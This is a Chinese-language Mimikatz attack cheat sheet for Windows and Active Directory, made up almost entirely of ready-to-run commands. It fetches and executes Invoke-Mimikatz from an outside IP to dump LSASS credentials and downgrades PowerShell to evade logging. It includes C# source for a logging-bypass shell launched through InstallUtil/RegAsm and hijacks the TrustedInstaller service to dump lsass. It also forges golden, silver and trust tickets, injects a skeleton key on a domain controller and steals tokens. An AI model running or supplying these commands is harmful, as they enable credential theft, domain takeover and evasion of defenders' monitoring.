Mimikatz

Lsass进程转储凭据

IEX(New-Object System.Net.Webclient).DownloadString('http://192.168.8.156/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds

PowerShell降级绕过日志记录

 powershell -version 2 IEX(New-Object System.Net.Webclient).DownloadString('http://192.168.8.156/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds

不降级绕过

using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

namespace TranscriptBypass
{
    // Compiling with CSC.exe v4.0.30319 or v3.5
    // C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:C:\Temp\posh.exe C:\Temp\posh.cs /reference:System.Management.Automation.dll
    // C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /out:c:\temp\posh.exe C:\temp\posh.cs /reference:System.Management.Automation.dll

    // Running via InstallUtil.exe
    // C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\temp\posh.exe

    // Compiling with CSC.exe v4.0.30319 or v3.5 for use with regasm.exe
    // C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:C:\Temp\posh.dll C:\Temp\posh.cs /reference:System.Management.Automation.dll
    // C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /target:library /out:c:\temp\posh.dll C:\temp\posh.cs /reference:System.Management.Automation.dll

    // Running via RegAsm.exe
    // C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U C:\temp\posh.dll

    public class Program
    {
        public static Runspace newrunspace;
        public static void startrunspace()
        {
            newrunspace = RunspaceFactory.CreateRunspace();
            newrunspace.Open();
            var cmd = new System.Management.Automation.PSVariable("c");
            newrunspace.SessionStateProxy.PSVariable.Set(cmd);
            var output = new System.Management.Automation.PSVariable("o");
            newrunspace.SessionStateProxy.PSVariable.Set(output);
            
        }
        public static string InvokeAutomation(string cmd)
        {
            RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace);
            Pipeline pipeline = newrunspace.CreatePipeline();
            newrunspace.SessionStateProxy.SetVariable("c", cmd);
            if (cmd == "$a;")
            {
                return "";
            }
            else
            {
                pipeline.Commands.AddScript("$o = IEX $c | Out-String");
            }
            
            Collection<PSObject> results1 = pipeline.Invoke();
            object results2 = newrunspace.SessionStateProxy.GetVariable("o");
            return results2.ToString();

        }
        public static void Main()
        {
            try
            {
                startrunspace();
                string ps = null;
                Console.Write("PS>");
                while (!String.IsNullOrEmpty(ps = "$a;" + Console.ReadLine().Trim()))
                {
                    try
                    {
                        Console.WriteLine(InvokeAutomation(ps));
                    }
                    catch (Exception ex)
                    {
                        Console.Write(ex.Message);
                    }
                    Console.Write("PS>");
                }
            }
            catch
            {
                Main();
            }
        }
    }
}

编译:

C:\Windows\system32>C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /out:C:\Users\snowwolf
\Desktop\bypass.exe C:\Users\snowwolf\Desktop\bypass.cs /reference:C:\Windows\assembly\GAC
_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.
dll

如果找不到System.Management.Automation.dll,可以在PowerShell输入以下命令获取目录:

[psobject].assembly.location

在目标主机运行生成后的exe文件,即可绕过日志记录

绕过LSA保护

Mimikatz可以使用驱动程序绕过LSA保护来转储凭据:

!+

绕过SeDebugPrivilege

TrustedInstaller 帐户仍有权访问转储内存,并可用于绕过该防御。通过修改 TrustedInstaller 服务的配置,可以运行该帐户以使用 ProcDump 转储 lsass.exe:

sc config TrustedInstaller binPath= "C:\Users\Public\procdump64.exe -accepteula -ma lsass.exe C:\Users\Public\lsass.dmp"
sc start TrustedInstaller

提取凭据:

# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords

黄金票据

黄金票据是使用KRBTGT NTLM密码HASH进行加密和签名的TGT。
我们可以创建金票将域中的任何用户模拟位域中任何组的成员,以访问域中的任何资源。

mimikatz "kerberos::golden /User:Administrator /domain:rd.lab.adsecurity.org /id:512 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit

银票

Silver Ticket使用目标服务账户NTLM密码HASH进行加密和签名

mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit

信托票据

信托票据是一种用于在 Windows 域环境中进行身份验证和授权的机制,它可以让用户在不同的域之间访问资源,而不需要重复输入用户名和密码。信托票据是基于 Kerberos 协议的,它包含了用户的身份信息和权限信息,以及一些加密和签名的数据,用于保证票据的安全性和完整性。

转储信托密钥:

Mimikatz "privilege::debug" "lsadump::trust /patch" exit

伪造信托票据:

Mimikatz "Kerberos::golden /domain:child.lab.adsecurity.org /sid:S-1-5-21-3677078698-724690114-1972670770 /sids:S-1-5-21-1581655573-3923512380-696647894-519 /rc4:49ed1653275f78846ff06de1a02386fd /user:DarthVader /service:krbtgt /target:lab.adsecurity.org /ticket:c:\temp\tickets\EA-ADSECLABCHILD.kirbi" exit

万能密钥注入Lsass进程

“misc::skeleton”命令是 mimikatz 的一个功能,它可以在域控制器上注入一个 “Skeleton Key”,这是一种可以用来绕过域用户的密码验证的机制,让攻击者可以使用任何域用户的身份登录到域内的资源,而不需要知道他们的真实密码

mimikatz # "privilege::debug"
Privilege '20' OK

mimikatz # "misc::skeleton"
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK

mimikatz #

这样就会在域控制器上注入 “Skeleton Key”,攻击者可以使用任何域用户的账号和 “mimikatz” 作为密码,登录到域内的资源,如其他的服务器或工作站:

Enter-PSSession -ComputerName xxxDomain -Credential xxxDomain\\administrator

模拟令牌

Mimikatz 的Token模块可以将Mimikatz与Windows身份验证令牌交互,用于抓取和模拟现有令牌

TOKEN::Elevate 模块是 mimikatz 的一个功能,它可以窃取其他用户的访问令牌,从而提升权限或者模拟其他用户的身份。访问令牌是一种包含用户的身份和权限信息的数据结构,它在 Windows 系统中用于访问控制

TOKEN::Elevate 模块有以下几个可选参数,你可以用它们来指定你想要窃取的访问令牌:

  • /id:指定目标访问令牌的 ID
  • /domainadmin:窃取域管理员的访问令牌
  • /user:指定目标用户的名称
  • /process:指定目标进程的 ID
  • /service:指定目标服务的名称
  • /system:窃取系统的访问令牌
  • /current:窃取当前进程的访问令牌

如果不指定任何参数,那么默认会窃取 NT AUTHORITY\SYSTEM 的访问令牌,这是一个具有最高权限的账户

privilege::debug
token::elevate

窃取域管理员的访问令牌:

privilege::debug
token::elevate /domainadmin

SEKURLSA

SEKURLSA 模块可以从 lsass.exe 进程的内存中提取用户的凭证,包括明文密码、哈希、PIN 码和 Kerberos 票据。SEKURLSA 模块包含了多个子模块,如 logonpasswords、tickets、pth、kerberos 等,每个子模块都有不同的用途和参数

从 lsass.exe 进程的内存中提取用户的凭证,包括明文密码、哈希、PIN 码和 Kerberos 票据:

privilege::debug
sekurlsa::logonpasswords